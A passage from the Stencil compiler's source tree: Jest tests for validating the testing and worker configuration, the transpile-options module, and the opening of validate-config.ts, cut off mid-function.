browser args when CI is set', () => { userConfig.flags = { ...flags, ci: true, e2e: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserArgs).toEqual([ '--font-render-hinting=medium', '--incognito', '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', ]); }); }); }); describe('browserArgs in CI', () => { const originalCI = process.env.CI; beforeEach(() => { process.env.CI = 'true'; }); afterEach(() => { process.env.CI = originalCI; }); it("adds additional browser args when 'CI' environment variable is set", () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { browserArgs: ['--unique', '--font-render-hinting=medium'], }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserArgs).toEqual([ '--unique', '--font-render-hinting=medium', '--incognito', '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', ]); }); }); describe('screenshotConnector', () => { it('assigns the screenshotConnector value from the provided flags', () => { // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input userConfig.flags = { ...flags, e2e: true, screenshotConnector: path.join(ROOT, 'mock', 'path') }; userConfig.testing = { screenshotConnector: path.join(ROOT, 'another', 'mock', 'path') }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.screenshotConnector).toBe(join(ROOT, 'mock', 'path')); }); it("uses the config's root dir to make the screenshotConnector path absolute", () => { // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input userConfig.flags = { ...flags, e2e: true, screenshotConnector: path.join('mock', 'path') }; userConfig.testing = { screenshotConnector: path.join('another', 'mock', 'path') }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.screenshotConnector).toBe(join(ROOT, 'User', 'some', 'path', 'mock', 'path')); }); it('sets screenshotConnector if a non-string is provided', () => { userConfig.flags = { ...flags, e2e: true }; // the nature of this test is to evaluate a non-string, hence the type assertion userConfig.testing = { screenshotConnector: true as unknown as string }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.screenshotConnector).toBe(join('screenshot', 'local-connector.js')); }); }); describe('screenshotTimeout', () => { it('sets screenshotTimeout to null if not provided', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = {}; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.screenshotTimeout).toEqual(null); }); it('sets screenshotTimeout to null if it has an unexpected value', () => { userConfig.flags = { ...flags, e2e: true }; // @ts-expect-error - the nature of this test requires a non-string value userConfig.testing = { screenshotTimeout: '4s' }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.screenshotTimeout).toEqual(null); }); it('keeps the value if set correctly', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { screenshotTimeout: 4000 }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.screenshotTimeout).toEqual(4000); }); }); describe('testPathIgnorePatterns', () => { it('does not alter a provided testPathIgnorePatterns', () => { userConfig.flags = { ...flags, e2e: true }; // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input const mockPath1 = path.join('this', 'is', 'a', 'mock', 'path'); const mockPath2 = path.join('this', 'is', 'another', 'mock', 'path'); userConfig.testing = { testPathIgnorePatterns: [mockPath1, mockPath2] }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testPathIgnorePatterns).toEqual([mockPath1, mockPath2]); }); it('sets the default testPathIgnorePatterns if no array is provided', () => { userConfig.flags = { ...flags, e2e: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testPathIgnorePatterns).toEqual([ join(ROOT, 'User', 'some', 'path', '.vscode'), join(ROOT, 'User', 'some', 'path', '.stencil'), join(ROOT, 'User', 'some', 'path', 'node_modules'), // use Node's join() here as the normalization process doesn't necessarily occur for this field path.join(ROOT, 'www'), ]); }); it('sets the default testPathIgnorePatterns with custom outputTargets', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.outputTargets = [ { type: 'dist', dir: 'dist-folder' }, { type: 'www', dir: 'www-folder' }, { type: 'docs-readme', dir: 'docs' }, ]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testPathIgnorePatterns).toEqual([ join(ROOT, 'User', 'some', 'path', '.vscode'), join(ROOT, 'User', 'some', 'path', '.stencil'), join(ROOT, 'User', 'some', 'path', 'node_modules'), join(ROOT, 'User', 'some', 'path', 'www-folder'), join(ROOT, 'User', 'some', 'path', 'dist-folder'), ]); }); }); describe('preset', () => { it.each([null, true])("uses stencil's default preset if a non-string (%s) is provided", (nonStringPreset) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { // the nature of this test requires a non-string value, hence the type assertion preset: nonStringPreset as unknown as string, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); // 'testing' is the internal directory where `jest-preset.js` can be found expect(config.testing.preset).toEqual('testing'); }); it('forces a provided preset path to be absolute', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input preset: path.join('mock', 'path'), }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.preset).toEqual(join(ROOT, 'User', 'some', 'path', 'mock', 'path')); }); it('does not change an already absolute preset path', () => { userConfig.flags = { ...flags, e2e: true }; // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input const presetPath = path.join(ROOT, 'mock', 'path'); userConfig.testing = { preset: presetPath, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); // per the test name, we should not change an already absolute path - assert against the preset path that was // generated using Node's join() expect(config.testing.preset).toEqual(presetPath); }); }); describe('setupFilesAfterEnv', () => { it.each([null, true])('forces a non-array (%s) of setup files to a default', (nonSetupFiles) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { // the nature of this test requires a non-string value, hence the type assertion setupFilesAfterEnv: nonSetupFiles as unknown as string[], }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); // 'testing' is the internal directory where the default setup file can be found expect(config.testing.setupFilesAfterEnv).toEqual([join('testing', 'jest-setuptestframework.js')]); }); it.each([[[]], [['mock-setup-file.js']]])( "prepends stencil's default file to an array: %s", (setupFilesAfterEnv) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { setupFilesAfterEnv: [...setupFilesAfterEnv], }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.setupFilesAfterEnv).toEqual([ // 'testing' is the internal directory where the default setup file can be found join('testing', 'jest-setuptestframework.js'), ...setupFilesAfterEnv, ]); }, ); }); describe('testEnvironment', () => { it('sets a relative testEnvironment to absolute', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { testEnvironment: './rel-path.js', }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.isAbsolute(config.testing.testEnvironment)).toBe(true); expect(path.basename(config.testing.testEnvironment)).toEqual('rel-path.js'); }); it('allows a node module testEnvironment', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { testEnvironment: 'jsdom', }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testEnvironment).toEqual('jsdom'); }); it('does nothing for an empty testEnvironment', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testEnvironment).toBeUndefined(); }); }); describe('allowableMismatchedPixels', () => { it.each([0, 123])('does nothing is a non-negative number (%s) is provided', (pixelCount) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { allowableMismatchedPixels: pixelCount, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.allowableMismatchedPixels).toBe(pixelCount); }); it('creates an error if a negative number is provided', () => { const pixelCount = -1; userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { allowableMismatchedPixels: pixelCount, }; const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.allowableMismatchedPixels).toBe(pixelCount); expect(diagnostics).toHaveLength(1); expect(diagnostics[0]).toEqual({ absFilePath: undefined, header: 'Build Error', level: 'error', lines: [], messageText: 'allowableMismatchedPixels must be a value that is 0 or greater', relFilePath: undefined, type: 'build', }); }); it.each([true, null])('defaults to a reasonable value if a non-number (%s) is provided', (pixelCount) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { // the nature of this test requires using a non-number, hence th type assertion allowableMismatchedPixels: pixelCount as unknown as number, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.allowableMismatchedPixels).toBe(100); }); }); describe('allowableMismatchedRatio', () => { it.each([-0, 0, 0.5, 1.0])( 'does nothing if a value between 0 and 1 is provided (%s)', (allowableMismatchedRatio) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { allowableMismatchedRatio, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.allowableMismatchedRatio).toBe(allowableMismatchedRatio); }, ); it.each([-1, -0.1, 1.1, 2])( 'creates an error if a number outside 0 and 1 is provided (%s)', (allowableMismatchedRatio) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { allowableMismatchedRatio, }; const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.allowableMismatchedRatio).toBe(allowableMismatchedRatio); expect(diagnostics).toHaveLength(1); expect(diagnostics[0]).toEqual({ absFilePath: undefined, header: 'Build Error', level: 'error', lines: [], messageText: 'allowableMismatchedRatio must be a value ranging from 0 to 1', relFilePath: undefined, type: 'build', }); }, ); it.each([true, null])('does nothing when a non-number (%s) is provided', (allowableMismatchedRatio) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { // the nature of this test requires using a non-number, hence th type assertion allowableMismatchedRatio: allowableMismatchedRatio as unknown as number, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.allowableMismatchedRatio).toBe(allowableMismatchedRatio); }); }); describe('pixelmatchThreshold', () => { it.each([-0, 0, 0.5, 1.0])('does nothing if a value between 0 and 1 is provided (%s)', (pixelmatchThreshold) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { pixelmatchThreshold, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.pixelmatchThreshold).toBe(pixelmatchThreshold); }); it.each([-0.1, -1, 1.1, 2])( 'creates an error if a number outside 0 and 1 is provided (%s)', (pixelmatchThreshold) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { pixelmatchThreshold, }; const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.pixelmatchThreshold).toBe(pixelmatchThreshold); expect(diagnostics).toHaveLength(1); expect(diagnostics[0]).toEqual({ absFilePath: undefined, header: 'Build Error', level: 'error', lines: [], messageText: 'pixelmatchThreshold must be a value ranging from 0 to 1', relFilePath: undefined, type: 'build', }); }, ); it.each([true, null])('defaults to a reasonable value if a non-number (%s) is provided', (pixelmatchThreshold) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { // the nature of this test requires using a non-number, hence th type assertion pixelmatchThreshold: pixelmatchThreshold as unknown as number, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.allowableMismatchedPixels).toBe(100); }); }); describe('testRegex', () => { let testRegex: RegExp; beforeEach(() => { userConfig.flags = { ...flags, spec: true }; const { testing: testConfig } = validateConfig(userConfig, mockLoadConfigInit()).config; const testRegexSetting = testConfig?.testRegex; if (!testRegexSetting) { throw new Error('No testRegex was found in the Stencil TestingConfig. Failing test.'); } testRegex = new RegExp(testRegexSetting[0]); }); describe('test.* extensions', () => { it.each([ 'my-component.test.ts', 'my-component.test.tsx', 'my-component.test.js', 'my-component.test.jsx', 'some/path/test.ts', 'some/path/test.tsx', 'some/path/test.js', 'some/path/test.jsx', ])(`matches the file '%s'`, (filename) => { expect(testRegex.test(filename)).toBe(true); }); it.each([ 'my-component.test.ts.snap', 'my-component.test.tsx.snap', 'my-component.test.js.snap', 'my-component.test.jsx.snap', 'my-component-test.ts', 'my-component-test.tsx', 'my-component-test.js', 'my-component-test.jsx', 'my-component.test.t', 'my-component.test.j', ])(`doesn't match the file '%s'`, (filename) => { expect(testRegex.test(filename)).toBe(false); }); }); describe('spec.* extensions', () => { it.each([ 'my-component.spec.ts', 'my-component.spec.tsx', 'my-component.spec.js', 'my-component.spec.jsx', 'some/path/spec.ts', 'some/path/spec.tsx', 'some/path/spec.js', 'some/path/spec.jsx', ])(`matches the file '%s'`, (filename) => { expect(testRegex.test(filename)).toBe(true); }); it.each([ 'my-component.spec.ts.snap', 'my-component.spec.tsx.snap', 'my-component.spec.js.snap', 'my-component.spec.jsx.snap', 'my-component-spec.ts', 'my-component-spec.tsx', 'my-component-spec.js', 'my-component-spec.jsx', 'my-component.spec.t', 'my-component.spec.j', ])(`doesn't match the file '%s'`, (filename) => { expect(testRegex.test(filename)).toBe(false); }); }); describe('e2e.* extensions', () => { it.each([ 'my-component.e2e.ts', 'my-component.e2e.tsx', 'my-component.e2e.js', 'my-component.e2e.jsx', 'some/path/e2e.ts', 'some/path/e2e.tsx', 'some/path/e2e.js', 'some/path/e2e.jsx', ])(`matches the file '%s'`, (filename) => { expect(testRegex.test(filename)).toBe(true); }); it.each([ 'my-component.e2e.ts.snap', 'my-component.e2e.tsx.snap', 'my-component.e2e.js.snap', 'my-component.e2e.jsx.snap', 'my-component-e2e.ts', 'my-component-e2e.tsx', 'my-component-e2e.js', 'my-component-e2e.jsx', 'my-component.e2e.t', 'my-component.e2e.j', ])(`doesn't match the file '%s'`, (filename) => { expect(testRegex.test(filename)).toBe(false); }); }); }); describe('testMatch', () => { it('removes testRegex from the config when testMatch is an array', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { testMatch: ['mockMatcher'], }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testMatch).toEqual(['mockMatcher']); expect(config.testing.testRegex).toBeUndefined(); }); it('removes testMatch from the config when testRegex is a string', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { testMatch: undefined, testRegex: ['/regexStr/'], }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testMatch).toBeUndefined(); expect(config.testing.testRegex).toEqual(['/regexStr/']); }); it('transforms testRegex to an array if passed in as string', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { testMatch: undefined, // @ts-expect-error invalid type because of type update testRegex: '/regexStr/', }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.testMatch).toBeUndefined(); expect(config.testing.testRegex).toEqual(['/regexStr/']); }); }); describe('runner', () => { it('does nothing if the runner property is a string', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { runner: 'my-runner.js', }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.runner).toEqual('my-runner.js'); }); it('sets the runner if a non-string value is provided', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { runner: undefined, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); // 'testing' is the internal directory where the default runner file can be found expect(config.testing.runner).toEqual(join('testing', 'jest-runner.js')); }); }); describe('waitBeforeScreenshot', () => { it.each([-0, 0, 0.5, 1.0])('does nothing for a non-negative value (%s)', (waitBeforeScreenshot) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { waitBeforeScreenshot, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.waitBeforeScreenshot).toBe(waitBeforeScreenshot); }); it('creates an error if the value provided is negative', () => { const waitBeforeScreenshot = -1; userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { waitBeforeScreenshot, }; const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.waitBeforeScreenshot).toBe(waitBeforeScreenshot); expect(diagnostics).toHaveLength(1); expect(diagnostics[0]).toEqual({ absFilePath: undefined, header: 'Build Error', level: 'error', lines: [], messageText: 'waitBeforeScreenshot must be a value that is 0 or greater', relFilePath: undefined, type: 'build', }); }); it.each([true, null])('defaults to a reasonable value if a non-number (%s) is provided', (waitBeforeScreenshot) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { // the nature of this test requires using a non-number, hence the type assertion pixelmatchThreshold: waitBeforeScreenshot as unknown as number, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.waitBeforeScreenshot).toBe(10); }); }); describe('emulate', () => { it.each([[undefined], [[]]])('provides a reasonable default for %s', (emulate) => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { emulate, }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.emulate).toEqual([ { userAgent: 'default', viewport: { width: 600, height: 600, deviceScaleFactor: 1, isMobile: false, hasTouch: false, isLandscape: false, }, }, ]); }); it('does nothing when a non-zero length array is provided', () => { userConfig.flags = { ...flags, e2e: true }; const emulateConfig: d.EmulateConfig = { userAgent: 'mockAgent', viewport: { width: 100, height: 100, deviceScaleFactor: 1, isMobile: true, hasTouch: true, isLandscape: false, }, }; userConfig.testing = { emulate: [emulateConfig], }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.emulate).toEqual([emulateConfig]); }); }); }); ================================================ FILE: src/compiler/config/test/validate-workers.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockLoadConfigInit, mockLogger } from '@stencil/core/testing'; import path from 'path'; import { createConfigFlags } from '../../../cli/config-flags'; import { validateConfig } from '../validate-config'; describe('validate-workers', () => { let userConfig: d.Config; const logger = mockLogger(); beforeEach(() => { userConfig = { sys: { path: path, } as any, logger: logger, rootDir: '/', namespace: 'Testing', }; }); it('set maxConcurrentWorkers, but dont let it go under 0', () => { userConfig.maxConcurrentWorkers = -1; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.maxConcurrentWorkers).toBe(0); }); it('set maxConcurrentWorkers from ci flags', () => { userConfig.flags = createConfigFlags({ ci: true, }); userConfig.maxConcurrentWorkers = 2; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.maxConcurrentWorkers).toBe(4); }); it('set maxConcurrentWorkers from flags', () => { userConfig.flags = createConfigFlags({ maxWorkers: 1, }); userConfig.maxConcurrentWorkers = 4; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.maxConcurrentWorkers).toBe(1); }); it('set maxConcurrentWorkers', () => { userConfig.maxConcurrentWorkers = 4; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.maxConcurrentWorkers).toBe(4); }); }); ================================================ FILE: src/compiler/config/transpile-options.ts ================================================ import { isString } from '@utils'; import type { CompilerOptions } from 'typescript'; import type { CompilerSystem, Config, ImportData, TransformCssToEsmInput, TransformOptions, TranspileOptions, TranspileResults, } from '../../declarations'; import { STENCIL_INTERNAL_CLIENT_ID } from '../bundle/entry-alias-ids'; import { parseImportPath } from '../transformers/stencil-import-path'; export const getTranspileResults = (code: string, input: TranspileOptions) => { if (!isString(input.file)) { input.file = 'module.tsx'; } const parsedImport = parseImportPath(input.file); const results: TranspileResults = { code: typeof code === 'string' ? code : '', data: [], diagnostics: [], inputFileExtension: parsedImport.ext, inputFilePath: input.file, imports: [], map: null, outputFilePath: null, }; return { importData: parsedImport.data, results, }; }; const transpileCtx = { sys: null as CompilerSystem }; /** * Configuration necessary for transpilation */ interface TranspileConfig { compileOpts: TranspileOptions; config: Config; transformOpts: TransformOptions; } /** * Get configuration necessary to carry out transpilation, including a Stencil * configuration, transformation options, and transpilation options. * * @param input options for Stencil's transpiler (string-to-string compiler) * @returns the options and configuration necessary for transpilation */ export const getTranspileConfig = (input: TranspileOptions): TranspileConfig => { if (input.sys) { transpileCtx.sys = input.sys; } else if (!transpileCtx.sys) { transpileCtx.sys = require('../sys/node/index.js').createNodeSys(); } const compileOpts: TranspileOptions = { componentExport: getTranspileConfigOpt(input.componentExport, VALID_EXPORT, 'customelement'), componentMetadata: getTranspileConfigOpt(input.componentMetadata, VALID_METADATA, null), coreImportPath: isString(input.coreImportPath) ? input.coreImportPath : STENCIL_INTERNAL_CLIENT_ID, currentDirectory: isString(input.currentDirectory) ? input.currentDirectory : transpileCtx.sys.getCurrentDirectory(), file: input.file, proxy: getTranspileConfigOpt(input.proxy, VALID_PROXY, 'defineproperty'), module: getTranspileConfigOpt(input.module, VALID_MODULE, 'esm'), sourceMap: input.sourceMap === 'inline' ? 'inline' : input.sourceMap !== false, style: getTranspileConfigOpt(input.style, VALID_STYLE, 'static'), styleImportData: getTranspileConfigOpt(input.styleImportData, VALID_STYLE_IMPORT_DATA, 'queryparams'), target: getTranspileConfigOpt(input.target, VALID_TARGET, 'latest'), }; const tsCompilerOptions: CompilerOptions = { // ensure we uses legacy decorators experimentalDecorators: true, // best we always set this to true allowSyntheticDefaultImports: true, // best we always set this to true esModuleInterop: true, // always get source maps sourceMap: compileOpts.sourceMap !== false, // isolated per file transpiling isolatedModules: true, // transpileModule does not write anything to disk so there is no need to verify that there are no conflicts between input and output paths. suppressOutputPathCheck: true, // Filename can be non-ts file. allowNonTsExtensions: true, // We are not returning a sourceFile for lib file when asked by the program, // so pass --noLib to avoid reporting a file not found error. noLib: true, noResolve: true, // NOTE: "module" and "target" configs will be set later // after the "ts" object has been loaded }; if (isString(input.baseUrl)) { compileOpts.baseUrl = input.baseUrl; tsCompilerOptions.baseUrl = compileOpts.baseUrl; } if (input.paths) { compileOpts.paths = { ...input.paths }; tsCompilerOptions.paths = { ...compileOpts.paths }; } if (input.jsx !== undefined) { tsCompilerOptions.jsx = input.jsx; } if (isString(input.jsxImportSource)) { tsCompilerOptions.jsxImportSource = input.jsxImportSource; } const transformOpts: TransformOptions = { coreImportPath: compileOpts.coreImportPath, componentExport: compileOpts.componentExport as any, componentMetadata: compileOpts.componentMetadata as any, currentDirectory: compileOpts.currentDirectory, isolatedModules: true, module: compileOpts.module as any, proxy: compileOpts.proxy as any, file: compileOpts.file, style: compileOpts.style as any, styleImportData: compileOpts.styleImportData as any, target: compileOpts.target as any, }; const config: Config = { _isTesting: true, devMode: true, enableCache: false, minifyCss: true, minifyJs: false, rootDir: compileOpts.currentDirectory, srcDir: compileOpts.currentDirectory, sys: transpileCtx.sys, transformAliasedImportPaths: input.transformAliasedImportPaths, tsCompilerOptions, validateTypes: false, }; return { compileOpts, config, transformOpts, }; }; export const getTranspileCssConfig = ( compileOpts: TranspileOptions, importData: ImportData, results: TranspileResults, ) => { const transformInput: TransformCssToEsmInput = { file: results.inputFilePath, input: results.code, tag: importData && importData.tag, tags: [...(compileOpts.tagsToTransform || importData?.tag)], addTagTransformers: compileOpts && compileOpts.additionalTagTransformers === true, encapsulation: importData && importData.encapsulation, mode: importData && importData.mode, sourceMap: compileOpts.sourceMap !== false, minify: false, autoprefixer: false, module: compileOpts.module, styleImportData: compileOpts.styleImportData, }; return transformInput; }; const getTranspileConfigOpt = (value: any, validValues: Set, defaultValue: string) => { if (value === null || value === 'null') { return null; } value = isString(value) ? value.toLowerCase().trim() : null; if (validValues.has(value)) { return value; } return defaultValue; }; const VALID_EXPORT = new Set(['customelement', 'module']); const VALID_METADATA = new Set(['compilerstatic', null]); const VALID_MODULE = new Set(['cjs', 'esm']); const VALID_PROXY = new Set(['defineproperty', null]); const VALID_STYLE = new Set(['static']); const VALID_STYLE_IMPORT_DATA = new Set(['queryparams']); const VALID_TARGET = new Set(['latest', 'esnext', 'es2020', 'es2019', 'es2018', 'es2017', 'es2016', 'es2015', 'es5']); ================================================ FILE: src/compiler/config/validate-config.ts ================================================ import { createNodeLogger, createNodeSys } from '@sys-api-node'; import { buildError, buildWarn, isBoolean, isNumber, isString, sortBy } from '@utils'; import { ConfigBundle, ConfigExtras, Diagnostic, LoadConfigInit, LogLevel, UnvalidatedConfig, ValidatedConfig, } from '../../declarations'; import { setBooleanConfig } from './config-utils'; import { DEFAULT_DEV_MODE, DEFAULT_HASHED_FILENAME_LENGTH, MAX_HASHED_FILENAME_LENGTH, MIN_HASHED_FILENAME_LENGTH, } from './constants'; import { validateOutputTargets } from './outputs'; import { validateDevServer } from './validate-dev-server'; import { validateDocs } from './validate-docs'; import { validateHydrated } from './validate-hydrated'; import { validateDistNamespace } from './validate-namespace'; import { validateNamespace } from './validate-namespace'; import { validatePaths } from './validate-paths'; import { validatePlugins } from './validate-plugins'; import { validateRollupConfig } from './validate-rollup-config'; import { validateTesting } from './validate-testing'; import { validateWorkers } from './validate-workers'; /** * Represents the results of validating a previously unvalidated configuration */ type ConfigValidationResults = { /** * The validated configuration, with well-known default values set if they weren't previously provided */ config: ValidatedConfig; /** * A collection of errors and warnings that occurred during the configuration validation process */ diagnostics: Diagnostic[]; }; /** * We never really want to re-run validation for a Stencil configuration. * Besides the cost of doing so, our validation pipeline is unfortunately not * idempotent, so we want to have a guarantee that even if we call * {@link validateConfig} in a few places that the same configuration object * won't be passed through multiple times. So we cache the result of our work * here. */ let CACHED_VALIDATED_CONFIG: ValidatedConfig | null = null; /** * Validate a Config object, ensuring that all its field are present and * consistent with our expectations. This function transforms an * {@link UnvalidatedConfig} to a {@link ValidatedConfig}. * * **NOTE**: this function _may_ return a previously-cached configuration * object. It will do so if the cached object is `===` to the one passed in. * * @param userConfig an unvalidated config that we've gotten from a user * @param bootstrapConfig the initial configuration provided by the user (or * generated by Stencil) used to bootstrap configuration loading and validation * @returns an object with config and diagnostics props */ export const validateConfig = ( userConfig: UnvalidatedConfig = {}, bootstrapConfig: LoadConfigInit, ): ConfigValidationResults => { const diagnostics: Diagnostic[] = []; if (CACHED_VALIDATED_CONFIG !== null && CACHED_VALIDATED_CONFIG === userConfig) { // We've previously done the work to validate a Stencil config. Since our // overall validation pipeline is unfortunately not idempotent we do not // want to simply validate again. Leaving aside the performance // implications of needlessly repeating the validation, we don't want to do // certain operations multiple times. // // For the sake of correctness we check both that the cache is not null and // that it's the same object as the one passed in. return { config: userConfig as ValidatedConfig, diagnostics, }; } const config = Object.assign({}, userConfig); const logger = bootstrapConfig.logger || config.logger || createNodeLogger(); // flags _should_ be JSON safe here // // we access `'flags'` on validated config to avoid having to introduce an // import of the CLI module const flags: ValidatedConfig['flags'] = JSON.parse(JSON.stringify(config.flags || {})); // default level is 'info' let logLevel: LogLevel = 'info'; if (flags.debug || flags.verbose) { logLevel = 'debug'; } else if (flags.logLevel) { logLevel = flags.logLevel; } logger.setLevel(logLevel); let devMode = config.devMode ?? DEFAULT_DEV_MODE; if (flags.prod) { devMode = false; } else if (flags.dev) { devMode = true; } else if (!isBoolean(config.devMode)) { devMode = DEFAULT_DEV_MODE; } const hashFileNames = config.hashFileNames ?? !devMode; const validatedConfig: ValidatedConfig = { devServer: {}, // assign `devServer` before spreading `config`, in the event 'devServer' is not a key on `config` ...config, buildEs5: config.buildEs5 === true || (!devMode && config.buildEs5 === 'prod'), devMode, extras: config.extras || {}, flags, generateExportMaps: isBoolean(config.generateExportMaps) ? config.generateExportMaps : false, hashFileNames, hashedFileNameLength: config.hashedFileNameLength ?? DEFAULT_HASHED_FILENAME_LENGTH, hydratedFlag: validateHydrated(config), logLevel, logger, minifyCss: config.minifyCss ?? !devMode, minifyJs: config.minifyJs ?? !devMode, outputTargets: config.outputTargets ?? [], rollupConfig: validateRollupConfig(config), sourceMap: config.sourceMap === true || (devMode && (config.sourceMap === 'dev' || typeof config.sourceMap === 'undefined')), sys: config.sys ?? bootstrapConfig.sys ?? createNodeSys({ logger }), testing: config.testing ?? {}, docs: validateDocs(config, logger), transformAliasedImportPaths: isBoolean(userConfig.transformAliasedImportPaths) ? userConfig.transformAliasedImportPaths : true, validatePrimaryPackageOutputTarget: userConfig.validatePrimaryPackageOutputTarget ?? false, ...validateNamespace(config.namespace, config.fsNamespace, diagnostics), ...validatePaths(config), }; validatedConfig.extras.lifecycleDOMEvents = !!validatedConfig.extras.lifecycleDOMEvents; validatedConfig.extras.scriptDataOpts = !!validatedConfig.extras.scriptDataOpts; validatedConfig.extras.initializeNextTick = !!validatedConfig.extras.initializeNextTick; validatedConfig.extras.tagNameTransform = !!validatedConfig.extras.tagNameTransform; validatedConfig.extras.additionalTagTransformers = validatedConfig.extras.additionalTagTransformers === true || (!devMode && validatedConfig.extras.additionalTagTransformers === 'prod'); validatedConfig.extras.addGlobalStyleToComponents = isBoolean(validatedConfig.extras.addGlobalStyleToComponents) ? validatedConfig.extras.addGlobalStyleToComponents : 'client'; // TODO(STENCIL-914): remove when `experimentalSlotFixes` is the default behavior // If the user set `experimentalSlotFixes` and any individual slot fix flags to `false`, we need to log a warning // to the user that we will "override" the individual flags if (validatedConfig.extras.experimentalSlotFixes === true) { const possibleFlags: (keyof ConfigExtras)[] = [ 'appendChildSlotFix', 'slotChildNodesFix', 'cloneNodeFix', 'scopedSlotTextContentFix', 'experimentalScopedSlotChanges', ]; const conflictingFlags = possibleFlags.filter((flag) => validatedConfig.extras[flag] === false); if (conflictingFlags.length > 0) { const warning = buildError(diagnostics); warning.level = 'warn'; warning.messageText = `If the 'experimentalSlotFixes' flag is enabled it will override any slot fix flags which are disabled. In particular, the following currently-disabled flags will be ignored: ${conflictingFlags.join( ', ', )}. Please update your Stencil config accordingly.`; } } // TODO(STENCIL-914): remove `experimentalSlotFixes` when it's the default behavior validatedConfig.extras.experimentalSlotFixes = !!validatedConfig.extras.experimentalSlotFixes; if (validatedConfig.extras.experimentalSlotFixes === true) { validatedConfig.extras.appendChildSlotFix = true; validatedConfig.extras.cloneNodeFix = true; validatedConfig.extras.slotChildNodesFix = true; validatedConfig.extras.scopedSlotTextContentFix = true; validatedConfig.extras.experimentalScopedSlotChanges = true; } else { validatedConfig.extras.appendChildSlotFix = !!validatedConfig.extras.appendChildSlotFix; validatedConfig.extras.cloneNodeFix = !!validatedConfig.extras.cloneNodeFix; validatedConfig.extras.slotChildNodesFix = 